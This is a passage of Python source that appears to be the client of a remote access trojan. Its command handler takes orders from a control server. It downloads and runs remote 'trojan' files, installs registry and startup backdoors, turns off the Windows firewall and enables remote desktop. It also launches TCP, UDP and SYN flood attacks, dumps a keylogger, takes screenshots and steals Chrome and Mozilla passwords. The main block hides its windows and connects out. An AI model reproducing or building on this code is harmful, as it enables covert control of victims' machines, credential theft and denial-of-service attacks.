2256 os.remove(ProgListFile)
2257
2258
2259 elif command == 'services':
2260
2261 os.system('net start > %TEMP%\services.list')
2262 SerListFile = os.environ["TEMP"] + "\services.list"
2263
2264 upload_to_server(SerListFile)
2265 os.remove(SerListFile)
2266
2267
2268
2269 elif command.startswith('backdoor<#>'):
2270
2271 try:
2272 mode = command.split('<#>')[1]
2273
2274 if mode == 'status':
2275 ROBOT.send(pencode(pbackdoor.do_action('status')))
2276 elif mode == 'registry':
2277 ROBOT.send(pencode(pbackdoor.do_action('registry')))
2278 elif mode == 'startup':
2279 ROBOT.send(pencode(pbackdoor.do_action('startup')))
2280 elif mode == 'remove':
2281 ROBOT.send(pencode(pbackdoor.do_action('remove')))
2282
2283 except:
2284 ROBOT.send(pencode("[31mERROR:[0m Unknown error from client.\n"))
2285
2286
2287
2288 elif command.startswith('runfile<#>'):
2289
2290 command, trojan, mode = command.split('<#>')
2291
2292
2293 if mode == "LOCAL_GET":
2294
2295 file_name = os.environ["TEMP"] + "\\" + trojan.replace(" ", "_")
2296 validate_exist = pdecode(ROBOT.recv(4096))
2297
2298 if validate_exist == "#NOT_FILE":
2299 pass
2300 else:
2301 download_from_server(file_name)
2302
2303 sleep(0.5)
2304 res = os.popen(file_name)
2305
2306 if res != "Access is denied.":
2307 ROBOT.send(pencode("#OPENED"))
2308 else:
2309 ROBOT.send(pencode("#NOT_OPENED"))
2310
2311
2312 elif mode == "REMOTE_GET":
2313
2314 try:
2315 file_name = trojan.split('/')[-1]
2316 content = urllib2.urlopen(trojan)
2317 path_to_file = os.environ["TEMP"] + "\\" + file_name.replace(" ", "_")
2318
2319 with open(path_to_file, 'wb') as output:
2320 output.write(content.read())
2321 output.close()
2322
2323 sleep(0.5)
2324 open_result = os.popen(path_to_file)
2325
2326 if open_result != "Access is denied.":
2327 ROBOT.send(pencode("#OPENED"))
2328 else:
2329 ROBOT.send(pencode("#NOT_OPENED"))
2330
2331 except:
2332 ROBOT.send(pencode("[91mERROR: [0mTrojan download failed.\n"))
2333 else:
2334 ROBOT.send(pencode("[91mERROR: [0mUnknown error from client.\n"))
2335
2336
2337
2338 elif command.startswith('firewall<#>'):
2339
2340 try:
2341 mode = command.split('<#>')[1]
2342
2343 if admin_access == 'Yes':
2344
2345 if mode == 'active':
2346
2347 cmd_command = 'NetSh Advfirewall set allprofiles state on'
2348 Popen(cmd_command, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2349 ROBOT.send(pencode("[32m[+][0m Firewall Turned [92mON[0m."))
2350
2351
2352 elif mode == 'deactive':
2353
2354 cmd_command = 'NetSh Advfirewall set allprofiles state off'
2355 Popen(cmd_command, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2356 ROBOT.send(pencode("[32m[+][0m Firewall Turned [91mOFF[0m."))
2357
2358
2359 elif mode == 'status':
2360
2361 Firewall = check_output(['Netsh', 'Advfirewall', 'show', 'allprofiles'], shell=False)
2362
2363 for noline, line in enumerate(Firewall.split("\n")):
2364
2365 if noline == 3:
2366 domain = line.split("State")[1].strip()
2367
2368 elif noline == 20:
2369 private = line.split("State")[1].strip()
2370
2371 elif noline == 37:
2372 public = line.split("State")[1].strip()
2373
2374 result = " Domain profile: {}\n Private profile: {}\n Public profile: {}\n".format(domain, private, public)
2375 ROBOT.send(pencode(result))
2376
2377 else:
2378 ROBOT.send(pencode("[91mERROR: [0mPermission denied."))
2379 except:
2380 ROBOT.send(pencode("[91mERROR: [0mUnknown error from client!"))
2381
2382
2383
2384
2385 elif command.startswith('desktop<#>'):
2386
2387 try:
2388
2389 if admin_access == 'Yes':
2390
2391 action = command.split("<#>")[1]
2392
2393 if action == "active":
2394
2395 registry_command = 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"' + \
2396 ' /v fDenyTSConnections /t REG_DWORD /d 0 /f'
2397 Remote_Desktop = Popen(registry_command, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2398
2399 do_final = 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"' + \
2400 ' /v fAllowToGetHelp /t REG_DWORD /d 1 /f'
2401 Remote_Assistance = Popen(do_final, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2402
2403 ROBOT.send(pencode("[92m[+][0m Remote Desktop Protocol is [92mActive[0m.\n"))
2404
2405
2406 elif action == "deactive":
2407
2408 registry_command = 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"' + \
2409 ' /v fDenyTSConnections /t REG_DWORD /d 1 /f'
2410 Remote_Desktop = Popen(registry_command, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2411
2412 do_final = 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"' + \
2413 ' /v fAllowToGetHelp /t REG_DWORD /d 0 /f'
2414 Remote_Assistance = Popen(do_final, shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2415
2416 ROBOT.send(pencode("[92m[+][0m Remote Desktop Protocol is [91mDeactive[0m.\n"))
2417
2418 else:
2419 ROBOT.send(pencode("[91mERROR: [0mPermission denied.\n"))
2420
2421 except:
2422 ROBOT.send(pencode("[91mERROR: [0mRDP error!\n"))
2423
2424
2425
2426 elif command.startswith('dos'):
2427
2428 target_address = command.split()[1]
2429 attack_method = command.split()[2]
2430 number_of_packets = command.split()[3]
2431 start_dos_attack = ddos_util(target_address, number_of_packets)
2432
2433 if attack_method == 'tcp':
2434 start_dos_attack.tcpFlood()
2435
2436 elif attack_method == 'udp':
2437 start_dos_attack.udpFlood()
2438
2439 elif attack_method == 'syn':
2440 start_dos_attack.synFlood()
2441
2442
2443
2444 elif command.startswith('active_window'):
2445
2446 awindow = None
2447 ml = MouseLogger()
2448 ml.start()
2449
2450 while True:
2451
2452 for d, height, width, exe, win_title, buf in ml.retrieve_screenshots():
2453 awindow = "screenshot of %s/%s taken at %s (%s bytes) from %s : %s " % (height, width, d, len(buf), exe, win_title)
2454 if awindow: break
2455 sleep(0.1)
2456
2457 ROBOT.send(pencode(awindow))
2458
2459
2460
2461 elif command.startswith('>ch4ng3s<'):
2462
2463 if len(all_changes) != 0:
2464
2465 for chng in all_changes:
2466
2467 ROBOT.send(pencode(str(chng) + "\n"))
2468 sleep(0.1)
2469 all_changes.remove(chng)
2470
2471 else:
2472 ROBOT.send(pencode("No change(s) on disk.\n"))
2473
2474 ROBOT.send(pencode("#DATA_HANDLER"))
2475
2476
2477
2478 elif command.startswith('drives'):
2479
2480 pc_drives = win32api.GetLogicalDriveStrings()
2481 pc_drives = pc_drives.split('\000')[:-1]
2482 ROBOT.send(pencode(str('\n'.join(pc_drives))))
2483
2484
2485 elif command.startswith('datime'):
2486 get_last_active()
2487
2488
2489 elif command.startswith('>keyl0gger<'):
2490
2491 all_keys = keyLogger.dump()
2492 ROBOT.send(pencode(all_keys.strip() + "\n")) if all_keys != "" else ROBOT.send(pencode("No key pressed.\n"))
2493
2494
2495
2496 elif command.startswith('passwords<#>'):
2497
2498 try:
2499
2500 browser = command.split("<#>")[1]
2501
2502 if browser == "chrome":
2503 chrome_passwords()
2504 elif browser == "mozilla":
2505 mozilla_passwords()
2506
2507 except:
2508 ROBOT.send(pencode("[91mERROR: [0mCould not get passwords.\n"))
2509
2510
2511
2512 else:
2513 ROBOT.send(pencode("[91mERROR: [0mUnknown syntax: %s.\n" % command))
2514
2515
2516if __name__ == '__main__':
2517
2518 hide_all_windows(1)
2519
2520 is_admin = run_as_admin()
2521 if not is_admin: exit()
2522 admin_access='Yes' if is_admin else 'No'
2523
2524 connect_to_server()
2525 sys.exit(main())